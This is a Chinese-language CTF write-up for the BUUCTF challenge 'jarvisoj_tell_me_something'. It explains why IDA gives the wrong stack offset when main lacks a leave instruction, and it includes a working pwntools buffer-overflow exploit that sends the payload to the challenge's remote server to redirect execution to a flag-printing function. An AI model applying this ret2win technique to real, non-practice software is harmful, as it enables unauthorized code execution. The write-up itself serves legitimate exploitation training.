不能只在IDA里看偏移

题目简介

BUUCTF原题,链接见:BUUCTF:jarvisoj_tell_me_something

思路倒是不难,但第一次碰到不能在IDA里直接看返回地址的情况,因此记录一下

漏洞点分析

首先还是进IDA观察反编译:


看到read可以读取0x100个字节,远大于v4长度,存在溢出

之后checksec查看,如图:


看到只开启了NX,首先尝试寻找后门函数,点击IDA左侧函数表中每个函数,发现good_game可以输出flag:


至此漏洞点分析清楚了:溢出劫持到good_game函数地址即可

漏洞点利用

首先确定good_game地址,有很多方法,objdump、readelf或者直接在IDA里看,最后得到good_game在0x400620

接下来确定输入区距离返回地址的偏移量,这也是这道题的重点,也是一个容易出错的地方

从第一张图的IDA反编译结果来看,offset应该=0x88+0x8

但是在pwndbg里使用cyclic方法可以看到偏移=0x88


这是为什么?通过仔细观察main函数的反汇编结果,可以发现其并不遵守标准的入栈退栈流程,如图所示:


图中的main函数在退栈时没有leave指令,换句话说其没有恢复rbp,而在IDA中获取偏移基于“rbp上方紧邻着返回地址”这一理论,因此本题这种情况下不能直接从IDA反编译的结果中获取偏移

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
from pwn import *
context(os="linux",arch="x86_64",log_level="debug")
context.terminal=["tmux","splitw","-h"]
targetELF="./pwn"
offset=0x88
winAddr=0x400620
retAlignPadding=0x400469
LOCAL=0
REMOTE=1
DEBUG=2
def Attack(mode=LOCAL):
if mode==LOCAL:
ioTube=process(targetELF)
elif mode ==REMOTE:
ioTube=remote("node5.buuoj.cn",26680)
elif mode==DEBUG:
ioTube=gdb.debug(targetELF,"b *0x400525")
ioTube.recvuntil("Input your message:\n")
payload=b'1'*offset+p64(retAlignPadding)+p64(winAddr)
ioTube.send(payload)
ioTube.recvuntil("I have received your message, Thank you!\n")
response=ioTube.recv().decode(errors="ignore")
if r"flag{" in response:
print("flag included in {}\n".format(response))

Attack(REMOTE)

总结

除了本题,还有一道题情况类似,见BUUCTF题解:ciscn_2019_s_3

从这两题,可以总结出以下结论:

在确定偏移量之前最好看一下反汇编的结果,对于不遵守标准入栈退栈流程的函数,不能直接从IDA中读出偏移,而是要使用cyclic工具去确定


不能只在IDA里看偏移
http://0x4a-210.github.io/2025/08/06/Questions/不能只在IDA里看偏移/
Posted on
August 6, 2025
Licensed under